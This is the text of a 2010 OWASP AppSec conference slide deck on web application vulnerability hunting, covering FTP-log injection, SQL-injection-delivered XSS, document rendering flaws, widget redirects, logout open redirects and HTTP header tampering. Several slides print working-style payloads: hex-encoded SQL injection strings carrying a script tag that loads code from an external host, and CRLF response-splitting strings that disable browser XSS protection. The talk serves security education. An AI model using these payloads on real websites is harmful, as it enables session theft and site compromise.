Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

OWASP App Sec US - 2010


Published on

OWASP App Sec US Presentation - University of California - Irvine

Published in: Technology
  • Be the first to comment

OWASP App Sec US - 2010

  1. 1. Bug-Alcoholic 2.0 - Untamed World of Web Vulnerabilities Aditya K Sood SecNiche Security Labs Sr. Security Practitioner, ArmorizeOWASP adi_ks [at] secniche.orgAppSec 2010, University of CaliforniaIrvine, CA, USA Copyright © The OWASP FoundationSeptember 10, 2010 Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation
  2. 2. Disclaimer All contents of this presentation represent my own beliefs and views and do not, unless explicitly stated otherwise, represent the beliefs of my current, or any of my previous in that effect, employers.Dependency  Web penetration testing plays a critical role in assessing the applied security.  Vulnerabilities in deployed products matter a lot.  Testing output depends on exploitation of existing issues and discovering flaws.  Attack classification remains same but modus operandi of attack varies  Testing requires creation of attack surface. OWASP 2
  3. 3. About Me Founder , SECNICHE Security Labs.   PhD Candidate at Michigan State University. Senior Security Practitioner , Armorize  Worked previously for COSEINC as Senior Security Researcher and Security Consultant for KPMG Author for HITB E-Zine, Hakin9 ,ELSEVIER, USENIX Journals. Likes to do Bug Hunting and Malware dissection. Released Advisories to Forefront Companies. Active Speaker at Security Conferences including RSA etc. Blog: OWASP 3
  4. 4. NotificationAll the vulnerabilities discussed in this talk are in the process of patching.This discussion is all about understanding the attack methods and using them further in a real time environment. All for learning and education purposes. OWASP 4
  5. 5. Agenda Web 2.0 – Walkthrough  Web 2.0 – The real world  Web 2.0 trends ( vulnerability classification, browsers state)  Web 2.0 – Exploitation shift  Web Application Security is not a separate component ! Web Vulnerability Hunting(Exemplary) – Cross Interface Attacks (CIA) / attacking backend login consoles / – SQLXSSI – Fusion { XSS, SQL } / XSS payload in SQL parameters / – Document rendering attacks / exploiting content transformation / – Web widgets interface flaws / testing mini web play ground/ – Persistent redirection attacks /exploiting logout modules/ – Declarative security manipulation / tampering browsers/ – Insecure Content inclusion / exploitation by behavior / Conclusion OWASP 5
  6. 6. Web 2.0 – The Present WorldComponents in real world OWASP 6
  7. 7. Web Trends – Incidents Classification Top Web incidents/trends of 2009 /predictions for 2010© stats by Breach OWASP 7
  8. 8. Web Trends – Vulnerability Classes Web vulnerability classification - 2009 © website stats by Cenzic OWASP 8
  9. 9. Web Trends – Exploited Browsers Web vulnerability classification - 2009 © stats by Cenzic OWASP 9
  10. 10. Web 2.0 – Exploitation ShiftWhy ?  System vulnerabilities are getting harder to exploit  Web 2.0 service platforms  Client side exploitation – easy control through browsers  Origin of Web as a service standard  Increased business dependency on web 2.0  Centralized platform for content sharing from different resources  Online social networking  Wider window of exploitation through web  Information gathering about targets is easy on web OWASP 10
  11. 11. Web Application – Security Is NotSeparate ! Robust Web Application Development Design Security Privacy Reliability OWASP 11
  12. 12. Web Application Vulnerability HuntingPillars  Design and Development  Attack and Exploitation  Patching and Rebuilding OWASP 12
  13. 13. Cross Interface Attacks (CIA)  Hardware devices using admin interfaces.  Admin interfaces : { Web, FTP, Telnet}  Do we require all admin interfaces ?  If web admin is allowed, so what about backend consoles!  Is URL restriction a good practice?  Is it advantageous to have backend consoles?  Does access control serves well?  CIA targets FTP/Telnet admin consoles.  Step by step developing an attack surface. Hardware devices – firewalls, disk stations, management systems etc OWASP 13
  14. 14. Cross Interface Attacks (CIA)  Attack base and considerations  Presence of FTP/Telnet admin login console  Hardware appliances have default error logging mechanism  Log interfaces are served in HTML without filtering  A bad design practice from security point of view  Protocol such as FTP/Telnet default nature helps in information gathering  FTP Truth Collective username and password authentication  Followed to avoid enumeration of user accounts  No check on login attempts. No check on characters.  Usually, accessible widely. – Do you think access control is required? OWASP 14
  15. 15. Cross Interface Attacks (CIA) Attacking and testing  Gathering information about allowed characters  No aim to get authenticated – FTP 530 Login Incorrect is what we require.  Malicious payloads are used as username and password – Injections / Scripts / Iframes / DOM Calls / Persistent Payloads – Inject what ever you want ! – Good point for triggering CSRF attacks  Of-course , Authentication failure. Error gets logged.  Payloads become persistent. It can be reflective.  Bad design practice – Unencoded / Unfiltered HTML rendering – Inappropriate web logging mechanism  Viola ! Something happens. OWASP 15
  16. 16. Cross Interface Attacks (CIA) Scrutinizing default buffer  To determine the number of characters that are allowed  Supplying excess of buffer in FTP_USER_NAME input  FTP_PASS_WORD reflects the allowed FTP_USER_NAME  Injection points – {FTP_USER_NAME , FTP_PASS_WORD} OWASP 16
  17. 17. Cross Interface Attacks (CIA) Injecting payloads  Supplying payloads as credentials  Input points – {FTP_USER_NAME , FTP_PASS_WORD} OWASP 17
  18. 18. Cross Interface Attacks (CIA) What else?  Anything  Irrespective of user’s environment { OS /Browser etc } OWASP 18
  19. 19. SQLXSSI: Fusion {XSS , SQLI} Differential attack surface  How far we can go in using the standard vulnerabilities?  How many different ways of exploitation can be developed?  Why not fusing one vulnerability into another ?  Its’ all about game of payloads Triggering XSS through SQL Injection  All types of XSS possibilities  Verbose SQLI vulnerability is the base  Errors with truncated SQL queries with parameters  XSS payloads injected in SQL parameters  Obfuscating payloads  Basically, an XSS injection using database semantics  Reflective in nature OWASP 19
  20. 20. SQLXSSI: Fusion {XSS , SQLI} Generalized pattern  <script>alert(document.cookie)</script> = 0x3c7363726970743e616c65727428646f63756d656e742e636f6f6b6965293c2f736 3726970743e id=1and(select1from(selectcount(*),concat(0x3c7363726970743e616c657274282f7363686170 2f293c2f7363726970743e,floor(rand(0)*2)) x from table-name groupby x)a)  <script src="" />= 3c736372697074207372633d22687474703a2f2f777777772e6d616c6963696f75732 e6f72672f65782e6a7322202f3e*),concat(0x 3c736372697074207372633d22687474703a2f2f777777772e6d616c6963696f75732e6f72672f 65782e6a7322202f3e,floor(rand(0)*2)) x from table-name groupby x)a) OWASP 20
  21. 21. SQLXSSI: Fusion {XSS , SQLI} – Example(1) Error gets rendered in browser OWASP 21
  22. 22. SQLXSSI: Fusion {XSS , SQLI} – Example(2) Injected XSS Payload in SQL parameter OWASP 22
  23. 23. SQLXSSI: Fusion {XSS , SQLI} – Example(3) Injected payload starts downloading malicious XLS file OWASP 23
  24. 24. SQLXSSI: Fusion {XSS , SQLI} – Example(4)Image with malicious request is injected OWASP 24
  25. 25. SQLXSSI: Fusion {XSS , SQLI} Real world!  Websites are getting more susceptible to these issues  Vulnerability ratio exceeds to 1:2 Thanks to RB (1337) ( for initiating this type of attack surface So what !  One vulnerability can lead to another. Testing is inadvertent.  SQLI can be used in a differential manner  Advanced step in conducting XSS through SQLI  Database design matters OWASP 25
  26. 26. Document Rendering Attacks Concept  Inability of existing filters used for content transformation  Inappropriate design of web applications  Mistake – using browser as editors for content rendering  Do you want to upload you resume in MSWord? Attack vector  Setting payloads as inline URL links in the Office documents  Document is required to be viewed. Preview properties.  Persistent in nature primarily. User interaction is required.  MSWord, PowerPoint etc all work well depending on the web application Bypassing XSS filters through Office documents OWASP 26
  27. 27. Document Rendering Attacks Payload is injected as Hyperlink OWASP 27
  28. 28. Document Rendering Attacks The document is edited in the enterprise web application OWASP 28
  29. 29. Document Rendering Attacks Exploited OWASP 29
  30. 30. Document Rendering Attacks Case Study XML based authoring flaws  Vulnerability reported in SCRIBD platform in 2009  Reported and patched  Scribd failed to implement a filter on payload set in protocol handlers  Links directly injected and converted to XML  Lastly, compiled and displayed in flash player IPaper Platform XML based Link Authoring Flaw – Scribd rt=download&act=publication&file=design_inaccuracy_inside_ipaper_framework.pdf OWASP 30
  31. 31. XML Authoring Flaw – Case Study XML working model OWASP 31
  32. 32. XML Authoring Flaw – Case Study(Example) OWASP 32
  33. 33. Web Widget Interface Flaws What lies beneath? Web widget  A snippet of HTML code embedded in the website. You can "copy" that code and "embed" in your web page  Gadget is proprietary where as widget is freely available  Diverse functionalities – advertisements, traffic analysis , news, feeds , etc Web widget code snippets  JavaScript  Adobe Flash plugins  Code for embedding Windows Media player  Silverlight plugins OWASP 33
  34. 34. Web Widget Interface Flaws Insecurities Code specification issues  A widget or gadget can be designed insecurely  HTTP parameters play a crucial role in working  Arbitrary code execution in OS – Scripting interface  Unsanitized, unfiltered, unverified data acceptability Interface with websites and triggering vulnerabilities  Understanding the design of widget  Widget interface with the primary website and how it works  Registered widget and domain names in database can cause security problems in the base website OWASP 34
  35. 35. Web Widget Interface Flaws Web widget working layoutThe model looks simplistic in nature. OWASP 35
  36. 36. Web Widget Interface Flaws Case Study Real time issue in one of most recognized vendor – The website is a leading service provider for news and advertisements – The widget is allowed to install on any custom blog or user website after the registration process. The widget code is changed based on the platform such as blogger , MySpace etc – Once the registration is done, the widget snippet is provided to the user or customer for inclusion in his/her website – Now the content provider has a URL which redirects traffic from the primary website to the registered blog.  A very bad design practice. OWASP 36
  37. 37. Web Widget Interface Flaws Attack scenario Details » Attacker registers his malicious blog with that content provider » Once it is registered, the widget is allowed to be included in the attacker controlled website » Attacker starts using the content provider link to redirect traffic to his blog and making victims vulnerable. OWASP 37
  38. 38. Persistent Redirection Attacks HTTP Redirection  Automated redirection  What If attacker controls  More effective – if persistent OWASP 38
  39. 39. Persistent Redirect Attacks Manipulating Logout Module Details » Enterprise application inbuilt functionality to provide a pre login parameter for inline redirection back to application OWASP home page while logging out of the application 2010 » Careful analysis and design scrutinization helps tester to find parameters which provide a persistent state to set your value A9 » The application does not verifies the value provided in the redirect variable while logging into the application » Another variation of login redirection attacks, this one is logout redirection attacks HackintheBox (HITB) EZine – Open Redirect Wreck Off Paper OWASP 39
  40. 40. Persistent Redirection Attacks Manipulating Logout Module Layout – Vulnerability at disclosed to one of the biggest vendor – Successfully exploited and triggered in a large number of applications _pc=STANDARD_WEB_PAGE_STAT&_pi=1800&kk_home_url=http://www.malic – When a above stated URL is used to login into application, the value of kk_home_url variable becomes persisted. OWASP 40
  41. 41. Declarative Security Manipulation Concept Operation - Idea – The declarative model provides an extensible set of security parameters in the HTTP responses – Browsers can respond with a requested security mechanism – Declared by the developer as part of the web server or application running on the server. In this way, declarative security can provide both a portable and flexible security defense Why declarative security in http response headers – ClickJacking attacks – XSS filtering issues – File downloading security – HTML content rendering OWASP 41
  42. 42. Declarative Security Manipulation HTTP response headers  Clickjacking – X-FRAME-OPTIONS {SAMEORIGIN / DENY} » Don’t allow the website to be framed » Browser automatically escape the framing – X-XSS-PROTECTION { 0 – Disable| 1- Enable} » Triggers inbuilt IE XSS protection » Nothing much to say about its insecurity – X-CONTENT-TYPE-OPERATIONS{ NOSNIFF} » Preventing script execution through images » Secure MIME interpretation – X-DOWNLOAD-OPTIONS{ NOOPEN} » Disallowing opening of files on internet Applied as HTTP response headers– HTTP response splitting attacks work appropriately ( %0d%0a) OWASP 42
  43. 43. Declarative Security - Study Generic attack styles;%0d%0aX-XSS-Protection:0 %0d%0a%0d%0a<html><body><script>alert(‘0wned)</script></body></html>;%0d%0aX-Download-Open: %0d%0a%0d%0a<html><body><script>alert(‘0wned)</script></body></html>;%0d%0aX-Frame-Options:0 [No value] %0d%0a%0d%0a<html><body><script>alert(‘0wned)</script></body></html>;%0d%0aX-Content-Type- Options:[no Value] %0d%0a%0d %0a<html><body><script>alert(‘0wned)</script></body></html> Provide any falisfied value to bedazzle the real working of security component in a browser. OWASP 43
  44. 44. Declarative Security - Study Feasibility study  Implementation of DS in real world  To understand the scenario  To understand the adaptability  To estimate the risk to websites Paper released at Usenix CollSec (Collaborative Methods of Security and Privacy ) : OWASP 44
  45. 45. Declarative Security - Study Feasibility study  Alex top 1000 website responses  Google’s GWS implements the most Paper released at Usenix CollSec (Collaborative Methods of Security andPrivacy ) : OWASP 45
  46. 46. Content Delivery Networks – StringencyContent from third party  Online advertisements  Video streaming content  Windows Media files (MP4, MP3) /Quick time  Embedded Flash files  Inline frames used for rendering contents  EMBED / OBJECT/ FRAME – HTML/DOM supporting elements OWASP 46
  47. 47. Content Delivery Networks – Stringency Web 2.0 requirement OWASP 47
  48. 48. Content Delivery Networks – Stringency  Example – A malicious media player file can infect victims with malware once included from third party content network  Easy to bypass filter Setting the Payload Payload bypasses XSS filter and starts downloading XLS file OWASP 48
  49. 49. WWW Vulnerabilities - Circle Testing and Evolving complex Strengthening Technology Efficient Hacks Complex Flaws OWASP 49
  50. 50. Conclusion Attacks on web infrastructure are increasing More complexity more problems Security is a process and not a one time shot Design according to requirement Test appropriately OWASP 50
  51. 51. Questions and Knowledge Sharing OWASP 51
  52. 52. Demonstrations - Available If Required Shared on Individual Front. OWASP 52
  53. 53. Thanks OWASP ( ) SecNiche Security ( ) OWASP 53